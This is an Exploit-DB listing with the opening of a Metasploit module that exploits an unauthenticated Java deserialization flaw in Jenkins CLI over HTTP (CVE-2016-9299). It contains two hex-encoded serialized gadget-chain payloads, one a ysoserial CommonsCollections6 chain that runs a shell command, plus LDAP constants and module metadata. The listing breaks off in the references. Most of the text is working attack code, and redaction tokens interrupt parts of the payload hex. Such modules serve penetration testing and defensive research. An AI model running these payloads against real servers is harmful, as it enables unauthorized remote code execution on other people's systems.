Exploit-DB #44642
Description: Jenkins CLI - HTTP Java Deserialization (Metasploit)
Type: remote
Platform: linux
Date: 2018-05-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  STAGE1 = "aced[PII_REDACTED]2b6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee[PII_REDACTED][PII_REDACTED][PII_REDACTED]7200316f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f[PII_REDACTED]64536574fcd39ef6fa1ced530200014c[PII_REDACTED]4f[PII_REDACTED]00104c6a6176612f7574696c2f4c6973743b787200436f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e[PII_REDACTED][PII_REDACTED]7269616c697a61626c[PII_REDACTED]65636f7261746f72110ff46b96170e1b[PII_REDACTED]737200156e65742e73662e6a736f6e2e4a534f4e[PII_REDACTED]5d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e[PII_REDACTED]186e65742e73662e6a736f6e2e[PII_REDACTED]6163744a534f4ee88a13f4f69b3f[PII_REDACTED][PII_REDACTED]136a6176612e7574696c2e[PII_REDACTED]4c[PII_REDACTED]d21d99c7619d[PII_REDACTED]0473697a[PII_REDACTED][PII_REDACTED][PII_REDACTED]08041ac080131d[PII_REDACTED]1007e[PII_REDACTED][PII_REDACTED][PII_REDACTED]00116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c[PII_REDACTED]7372002a6a6176612e7574696c2e636f6e[PII_REDACTED]6e742e436f6e[PII_REDACTED]6e74536b69704c[PII_REDACTED]74dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e[PII_REDACTED]6e742f436f6e[PII_REDACTED]6e744e[PII_REDACTED]626c654d61703b[PII_REDACTED]2a6a6176612e7574696c2e636f6e[PII_REDACTED]6e742e436f6e[PII_REDACTED]6e74536b69704c6973744d[PII_REDACTED]ae061146a70300014c000a636f6d[PII_REDACTED]6f727400164c6a6176612f7574696c2f436f6d[PII_REDACTED]6f723b[PII_REDACTED]001f636f6d2e73756e2e6a6e64692e6c6461702e4c[PII_REDACTED][PII_REDACTED]7465c47b6b02a60583c00300034c000a[PII_REDACTED]7478456e767400154c6a6176612f7574696c2f[PII_REDACTED]61626c653b4c000a[PII_REDACTED]747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e[PII_REDACTED]746f72792e[PII_REDACTED][PII_REDACTED]627574655d95d32a668565be0300025a00076f[PII_REDACTED]644c[PII_REDACTED][PII_REDACTED]7e[PII_REDACTED][PII_REDACTED][PII_REDACTED]707400156c6461703a2f2f6c6f63616c686f73743a[PII_REDACTED]72001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe[PII_REDACTED][PII_REDACTED][PII_REDACTED]7e000e707871007e000e78"
  # java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections6 'touch /tmp/wtf'
  STAGE2 = "aced[PII_REDACTED]116a6176612e7574696c2e[PII_REDACTED]6574ba44859596b8b[PII_REDACTED]870770c000000023f[PII_REDACTED][PII_REDACTED]346f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b[PII_REDACTED]4c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b[PII_REDACTED]666f6f7372002a6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e[PII_REDACTED]014c[PII_REDACTED]746f727974002c4c6f72672f[PII_REDACTED]652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b[PII_REDACTED]3a6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e[PII_REDACTED]6e73666f726d657230c797ec287a[PII_REDACTED]5b000d695472616e73666f726d[PII_REDACTED]2d5b4c6f72672f[PII_REDACTED]652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b[PII_REDACTED]2d5b4c6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d[PII_REDACTED][PII_REDACTED][PII_REDACTED]03b6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d[PII_REDACTED]114102b[PII_REDACTED]c000969436f6e7374616e7471007e[PII_REDACTED]7200116a6176612e6c616e672e52756e74696d[PII_REDACTED][PII_REDACTED][PII_REDACTED]72003a6f72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b[PII_REDACTED]6e73666f726d657287e8ff6b7b7cce380200035b[PII_REDACTED][PII_REDACTED]5b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b[PII_REDACTED]6d[PII_REDACTED]7400125b4c6a6176612f6c616e672f436c6173733b[PII_REDACTED]135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c[PII_REDACTED][PII_REDACTED]000a[PII_REDACTED]6e74696d[PII_REDACTED]5b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a[PII_REDACTED][PII_REDACTED][PII_REDACTED]744d6574686f647571007e001b[PII_REDACTED]7200106a6176612e6c616e672e537472696e67a0f0a4387a3bb[PII_REDACTED][PII_REDACTED]e001b7371007e[PII_REDACTED]7e[PII_REDACTED][PII_REDACTED]7e[PII_REDACTED][PII_REDACTED]6e766f6b657571007e001b[PII_REDACTED]7200106a6176612e6c616e672e4f626a[PII_REDACTED][PII_REDACTED][PII_REDACTED]707671007e[PII_REDACTED]7e[PII_REDACTED]135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b[PII_REDACTED][PII_REDACTED]74000e746f756368202f746d702f[PII_REDACTED][PII_REDACTED]7571007e001b[PII_REDACTED]007e[PII_REDACTED]7e000f737200116a6176612e6c616e672e496e[PII_REDACTED]12e2a0a4f[PII_REDACTED][PII_REDACTED]6616c[PII_REDACTED]106a6176612e6c616e672e4e756d62657286ac951d0b94e08b[PII_REDACTED][PII_REDACTED]7200116a6176612e7574696c2e486173684d61700507dac1c31660d[PII_REDACTED]0a6c6f[PII_REDACTED]746f[PII_REDACTED][PII_REDACTED]6f6c6478703f[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"

  SEARCH_REQUEST = 3
  SEARCH_RES_ENTRY = 4
  SEARCH_RES_DONE = 5
  ABANDON_REQUEST = 16

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins CLI HTTP Java Deserialization Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
        the Jenkins, which allows remote arbitrary code execution via HTTP. Authentication is not
        required to exploit this vulnerability.

      },
      'Author'         =>
        [
          'Matthias Kaiser', # Original Vulnerability discovery
          'Alisa Esage', # Private Exploit
          'Ivan', # Metasploit Module Author
          'YSOSerial' #Stage 2 payload
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux', 'unix'],
      'Arch'           => ARCH_CMD,
      'Targets' => [ [ 'Jenkins 2.31', {} ] ],
      'References'     =>
        [
          ['CVE', '2016-9299'],